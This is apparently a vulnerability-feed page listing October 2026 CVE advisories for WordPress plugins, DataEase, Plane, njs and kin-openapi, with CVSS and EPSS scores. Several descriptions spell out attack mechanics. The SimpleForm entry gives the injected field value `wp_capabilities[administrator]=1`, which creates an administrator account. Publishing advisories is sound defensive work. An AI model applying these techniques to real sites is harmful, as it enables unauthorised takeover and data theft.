The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter. This is due to missing authentication, capability checks, and nonce verification on the standalone admin.php endpoint, combined with unsanitized injection of POST parameters directly into generated PHP source written to an included file. This makes it possible for unauthenticated attackers to execute code on the server. This is possible because admin.php does not load WordPress and carries no ABSPATH guard, making it a fully unauthenticated entry point regardless of the decorative capability arguments registered via the plugin's simulated menu API.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104800).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104800&date=2026-10-25).
Sources:
NVD CVE-2026-104800: https://nvd.nist.gov/vuln/detail/CVE-2026-104800
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104800&date=2026-10-25
The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter. This is due to missing authentication, capability checks, and nonce verification on the standalone admin.php endpoint, combined with unsanitized injection of POST parameters directly into generated PHP source written to an included file. This makes it possible for unauthenticated attackers to execute code on the server. This is possible because admin.php does not load WordPress and carries no ABSPATH guard, making it a fully unauthenticated entry point regardless of the decorative capability arguments registered via the plugin's simulated menu API.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828.
https://kevwire.com/record/CVE-2026-104767
The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828. (Oct 14, 2026).
The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828. This is due to the `maybe_add_role_to_user()` function unconditionally re-assigning every role stored in the `dfxwcrc_foreign_roles` user meta cache without verifying that each cached role is still actively assigned by the external provider — a condition made permanent by `remember_foreign_roles()`, which merges new foreign roles into the cache but never evicts roles that have since been revoked. This makes it possible for authenticated attackers with subscriber-level access and above to restore a previously revoked Administrator role to their own account, gaining full administrative control of the site, by triggering any role-assignment event such as completing a purchase for a role-mapped product. Exploitation requires Replace Roles mode to be enabled and the attacker's account to have previously received Administrator legitimately through a separate role-management mechanism while the plugin was active, so that `administrator` was written into the `dfxwcrc_foreign_roles` user meta cache before the external provider revoked it.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104767).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104767&date=2026-10-25).
Sources:
NVD CVE-2026-104767: https://nvd.nist.gov/vuln/detail/CVE-2026-104767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104767&date=2026-10-25
The Membership & User Roles for WooCommerce (Automatic Role Changer) plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 20260828. This is due to the `maybe_add_role_to_user()` function unconditionally re-assigning every role stored in the `dfxwcrc_foreign_roles` user meta cache without verifying that each cached role is still actively assigned by the external provider — a condition made permanent by `remember_foreign_roles()`, which merges new foreign roles into the cache but never evicts roles that have since been revoked. This makes it possible for authenticated attackers with subscriber-level access and above to restore a previously revoked Administrator role to their own account, gaining full administrative control of the site, by triggering any role-assignment event such as completing a purchase for a role-mapped product. Exploitation requires Replace Roles mode to be enabled and the attacker's account to have previously received Administrator legitimately through a separate role-management mechanism while the plugin was active, so that `administrator` was written into the `dfxwcrc_foreign_roles` user meta cache before the external provider revoked it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input .
https://kevwire.com/record/CVE-2026-104764
The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input . (Oct 14, 2026).
The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104764).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104764&date=2026-10-25).
Sources:
NVD CVE-2026-104764: https://nvd.nist.gov/vuln/detail/CVE-2026-104764
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104764&date=2026-10-25
The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and...
https://kevwire.com/record/CVE-2026-104748
The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and... (Oct 14, 2026).
The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.10.0 This is due to the `wp_ajax_nopriv_simpleform_wp_register` AJAX action lacking any capability check for role assignment and the `save_custom_fields_to_user_meta()` function using an exclusion list that omits `wp_capabilities`, combined with `get_form_settings()` returning a hard-coded defaults array that unconditionally enables meta writing regardless of the supplied `form_id`. This makes it possible for unauthenticated attackers to create a new Administrator-level WordPress account by supplying `wp_capabilities[administrator]=1` alongside standard registration fields. The nonce required by the endpoint is publicly emitted into the `front_end_data` JavaScript object on every front-end page via `wp_enqueue_scripts`, making it trivially obtainable by any unauthenticated visitor before submitting the malicious request.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104748).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104748&date=2026-10-25).
Sources:
NVD CVE-2026-104748: https://nvd.nist.gov/vuln/detail/CVE-2026-104748
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104748&date=2026-10-25
The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.10.0 This is due to the `wp_ajax_nopriv_simpleform_wp_register` AJAX action lacking any capability check for role assignment and the `save_custom_fields_to_user_meta()` function using an exclusion list that omits `wp_capabilities`, combined with `get_form_settings()` returning a hard-coded defaults array that unconditionally enables meta writing regardless of the supplied `form_id`. This makes it possible for unauthenticated attackers to create a new Administrator-level WordPress account by supplying `wp_capabilities[administrator]=1` alongside standard registration fields. The nonce required by the endpoint is publicly emitted into the `front_end_data` JavaScript object on every front-end page via `wp_enqueue_scripts`, making it trivially obtainable by any unauthenticated visitor before submitting the malicious request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataEase is an open source data visualization and analysis tool.
https://kevwire.com/record/CVE-2026-104141
DataEase is an open source data visualization and analysis tool. (Oct 14, 2026).
DataEase is an open source data visualization and analysis tool. Authenticated users with datasource access can supply crafted schema names, connection usernames, table names, or database names to datasource metadata operations, including getSchema, validate, save, and update flows. CalciteProvider inserts these identifiers into metadata queries that are executed through a plain JDBC Statement, allowing the generated SQL to be altered and run against the configured backend with application-held datasource credentials. The issue can compromise the confidentiality, integrity, and availability of the connected database without requiring a victim action.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104141).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104141&date=2026-10-25).
Sources:
NVD CVE-2026-104141: https://nvd.nist.gov/vuln/detail/CVE-2026-104141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104141&date=2026-10-25
DataEase is an open source data visualization and analysis tool. Authenticated users with datasource access can supply crafted schema names, connection usernames, table names, or database names to datasource metadata operations, including getSchema, validate, save, and update flows. CalciteProvider inserts these identifiers into metadata queries that are executed through a plain JDBC Statement, allowing the generated SQL to be altered and run against the configured backend with application-held datasource credentials. The issue can compromise the confidentiality, integrity, and availability of the connected database without requiring a victim action.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and...
https://kevwire.com/record/CVE-2026-103366
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and... (Oct 14, 2026).
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.7.3 via the `booking[id]` and `cart[id]` parameters on the `steps__reload_booking_form_summary_panel` and `steps__start` public routes (reachable through wp_ajax_nopriv_latepoint_route_call). This is due to `OsStepsHelper::set_required_objects()` feeding raw request parameters into `set_booking_object()` and `set_cart_object()`, which call `OsModel::set_data()` and load an arbitrary booking or cart row by primary key with no ownership check — the ownership guard the vendor added for the earlier disclosure lives only inside `OsStepsHelper::load_step()` and does not cover the sibling routes or `cart[id]` at all. This makes it possible for unauthenticated attackers to enumerate sequential booking / cart identifiers and read other customers' appointment details (service name, agent, date/time, duration, price breakdown, status) and other shoppers' pending checkout contents directly from the JSON responses.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103366).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103366&date=2026-10-25).
Sources:
NVD CVE-2026-103366: https://nvd.nist.gov/vuln/detail/CVE-2026-103366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103366&date=2026-10-25
The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.7.3 via the `booking[id]` and `cart[id]` parameters on the `steps__reload_booking_form_summary_panel` and `steps__start` public routes (reachable through wp_ajax_nopriv_latepoint_route_call). This is due to `OsStepsHelper::set_required_objects()` feeding raw request parameters into `set_booking_object()` and `set_cart_object()`, which call `OsModel::set_data()` and load an arbitrary booking or cart row by primary key with no ownership check — the ownership guard the vendor added for the earlier disclosure lives only inside `OsStepsHelper::load_step()` and does not cover the sibling routes or `cart[id]` at all. This makes it possible for unauthenticated attackers to enumerate sequential booking / cart identifiers and read other customers' appointment details (service name, agent, date/time, duration, price breakdown, status) and other shoppers' pending checkout contents directly from the JSON responses.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code...
https://kevwire.com/record/CVE-2026-103358
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code... (Oct 14, 2026).
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code Injection.This issue affects Email Template Customizer for WooCommerce: from n/a through 1.3.4.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103358).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103358&date=2026-10-25).
Sources:
NVD CVE-2026-103358: https://nvd.nist.gov/vuln/detail/CVE-2026-103358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103358&date=2026-10-25
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Code Injection.This issue affects Email Template Customizer for WooCommerce: from n/a through 1.3.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through...
https://kevwire.com/record/CVE-2026-103081
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through... (Oct 14, 2026).
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through 1.3.0.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103081).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103081&date=2026-10-25).
Sources:
NVD CVE-2026-103081: https://nvd.nist.gov/vuln/detail/CVE-2026-103081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103081&date=2026-10-25
Improper Control of Generation of Code ('Code Injection') vulnerability in VillaTheme Salevo woo-boost-sales allows Code Injection.This issue affects Salevo: from n/a through 1.3.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Plane is an open-source project management tool.
https://kevwire.com/record/CVE-2026-102986
Plane is an open-source project management tool. (Oct 14, 2026).
Plane is an open-source project management tool. In 1.3.1 and earlier, EntityAssetEndpoint at the public project asset endpoint /api/public/assets/v2/anchor/{anchor}/ requires authentication for write operations but does not verify workspace or project membership. An authenticated user who knows a published project's public DeployBoard.anchor can create FileAsset records in that project and soft-delete existing assets by identifier, allowing cross-workspace file injection, storage abuse, and data loss. The issue is fixed in version 1.4.0.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102986).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102986&date=2026-10-25).
Sources:
NVD CVE-2026-102986: https://nvd.nist.gov/vuln/detail/CVE-2026-102986
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102986&date=2026-10-25
Plane is an open-source project management tool. In 1.3.1 and earlier, EntityAssetEndpoint at the public project asset endpoint /api/public/assets/v2/anchor/{anchor}/ requires authentication for write operations but does not verify workspace or project membership. An authenticated user who knows a published project's public DeployBoard.anchor can create FileAsset records in that project and soft-delete existing assets by identifier, allowing cross-workspace file injection, storage abuse, and data loss. The issue is fixed in version 1.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to,...
https://kevwire.com/record/CVE-2026-102562
The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to,... (Oct 13, 2026).
The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to, and including, 11.1.0. This is due to insufficient input sanitization and output escaping in the acym_cleanVar() sanitizer, whose HTML-tag stripper only matches complete tags (requiring a closing '>'), together with SubscriberInsertion::replaceUserInformation() and the archive view template, which substitute the stored subscriber field value into the mail body and emit it without HTML encoding. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the online-archive URL for the poisoned subscriber, including administrators who click the plugin-generated link in the Subscribers → History screen.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102562).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102562&date=2026-10-25).
Sources:
NVD CVE-2026-102562: https://nvd.nist.gov/vuln/detail/CVE-2026-102562
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102562&date=2026-10-25
The AcyMailing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the customField[] parameter of the public frontusers::subscribe endpoint in versions up to, and including, 11.1.0. This is due to insufficient input sanitization and output escaping in the acym_cleanVar() sanitizer, whose HTML-tag stripper only matches complete tags (requiring a closing '>'), together with SubscriberInsertion::replaceUserInformation() and the archive view template, which substitute the stored subscriber field value into the mail body and emit it without HTML encoding. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the online-archive URL for the poisoned subscriber, including administrators who click the plugin-generated link in the Subscribers → History screen.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to...
https://kevwire.com/record/CVE-2026-102251
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to... (Oct 14, 2026).
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. AES-CTR is a malleable stream cipher, so an attacker who obtains one legitimate token by abandoning a cart with an email address they control can recover the keystream and forge a ciphertext carrying arbitrary SQL. The HMAC check added in 10.4.1 is enforced only when the wcap_nonce parameter is present, so omitting the parameter skips it entirely.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102251).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102251&date=2026-10-25).
Sources:
NVD CVE-2026-102251: https://nvd.nist.gov/vuln/detail/CVE-2026-102251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102251&date=2026-10-25
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'validate' parameter in all versions up to, and including, 10.8.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. AES-CTR is a malleable stream cipher, so an attacker who obtains one legitimate token by abandoning a cart with an email address they control can recover the keystream and forge a ciphertext carrying arbitrary SQL. The HMAC check added in 10.4.1 is enforced only when the wcap_nonce parameter is present, so omitting the parameter skips it entirely.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Description
NGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the...
https://kevwire.com/record/CVE-2026-101019
Description
NGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the... (Oct 14, 2026).
Description
NGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the built-in njs and QuickJS backends during the canonicalization process, the $attr$Name getter may return undefined for an explicitly present attribute containing an internal entity reference. The $attrs getter may return a value derived only from the first attribute child. This may allow an unauthenticated attacker that invests significant effort in obtaining a genuinely signed document to skip validation while signature verification succeeds. An nginx-saml deployment is a confirmed affected consumer when run with the built-in njs backend.

Impact
In affected signed-XML consumers, an unauthenticated attacker can cause security-relevant attributes to appear absent or truncated while signature verification succeeds. In nginx-saml, this can bypass expiry, Destination, and request-correlation checks, enabling replay or acceptance of a response outside its intended context. It does not permit signature or identity forgery, or a direct availability impact. There is no control plane exposure; this is a data plane issue only.



 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101019).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101019&date=2026-10-25).
Sources:
NVD CVE-2026-101019: https://nvd.nist.gov/vuln/detail/CVE-2026-101019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101019&date=2026-10-25
Description
NGINX JavaScript (njs) has a vulnerability where the njs XML module exposes entity-backed XML attributes inconsistently with libxml2 canonicalization. In both the built-in njs and QuickJS backends during the canonicalization process, the $attr$Name getter may return undefined for an explicitly present attribute containing an internal entity reference. The $attrs getter may return a value derived only from the first attribute child. This may allow an unauthenticated attacker that invests significant effort in obtaining a genuinely signed document to skip validation while signature verification succeeds. An nginx-saml deployment is a confirmed affected consumer when run with the built-in njs backend.

Impact
In affected signed-XML consumers, an unauthenticated attacker can cause security-relevant attributes to appear absent or truncated while signature verification succeeds. In nginx-saml, this can bypass expiry, Destination, and request-correlation checks, enabling replay or acceptance of a response outside its intended context. It does not permit signature or identity forgery, or a direct availability impact. There is no control plane exposure; this is a data plane issue only.



 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-100353
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.149.0, three openapi3filter decoder paths that were missed by the fix for GHSA-p6wj-qrr4-pgh5 lack a nil-items guard for legal OpenAPI 3.1 array schemas. An unauthenticated remote client can trigger a deterministic nil-pointer panic through an array query parameter, a deepObject query parameter containing an array property, or an application/x-www-form-urlencoded request body whose array property appears inside an allOf, anyOf, or oneOf subschema. The query and composed-body paths reach urlValuesDecoder.parseArray, while the deepObject path reaches buildResObj, and all pass a nil items schema into code that dereferences it. This issue is fixed in version 0.149.0.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100353).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100353&date=2026-10-25).
Sources:
NVD CVE-2026-100353: https://nvd.nist.gov/vuln/detail/CVE-2026-100353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100353&date=2026-10-25
kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.149.0, three openapi3filter decoder paths that were missed by the fix for GHSA-p6wj-qrr4-pgh5 lack a nil-items guard for legal OpenAPI 3.1 array schemas. An unauthenticated remote client can trigger a deterministic nil-pointer panic through an array query parameter, a deepObject query parameter containing an array property, or an application/x-www-form-urlencoded request body whose array property appears inside an allOf, anyOf, or oneOf subschema. The query and composed-body paths reach urlValuesDecoder.parseArray, while the deepObject path reaches buildResObj, and all pass a nil items schema into code that dereferences it. This issue is fixed in version 0.149.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### kin-openapi is a Go project for handling OpenAPI files.
https://kevwire.com/record/CVE-2026-100351
kin-openapi is a Go project for handling OpenAPI files. (Oct 15, 2026).
kin-openapi is a Go project for handling OpenAPI files. From 0.144.0 until 0.147.0, openapi3filter.ValidationHandler validates an operation selected from decoded URL.Path while a downstream gorilla/mux router configured with UseEncodedPath can dispatch a different operation selected from URL.RawPath. When a public exact route and a protected parameterized route use the same method and overlap after decoding, an unauthenticated remote request containing an encoded path separator can be validated as public and then dispatched to the protected handler without invoking the configured AuthenticationFunc. The reachable path parameter is constrained to an encoded representation that decodes to the public literal route, and proxies that canonicalize the URI before forwarding prevent this specific mismatch. This issue is fixed in version 0.147.0.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100351).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100351&date=2026-10-25).
Sources:
NVD CVE-2026-100351: https://nvd.nist.gov/vuln/detail/CVE-2026-100351
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100351&date=2026-10-25
kin-openapi is a Go project for handling OpenAPI files. From 0.144.0 until 0.147.0, openapi3filter.ValidationHandler validates an operation selected from decoded URL.Path while a downstream gorilla/mux router configured with UseEncodedPath can dispatch a different operation selected from URL.RawPath. When a public exact route and a protected parameterized route use the same method and overlap after decoding, an unauthenticated remote request containing an encoded path separator can be validated as public and then dispatched to the protected handler without invoking the configured AuthenticationFunc. The reachable path parameter is constrained to an encoded representation that decodes to the public literal route, and proxies that canonicalize the URI before forwarding prevent this specific mismatch. This issue is fixed in version 0.147.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

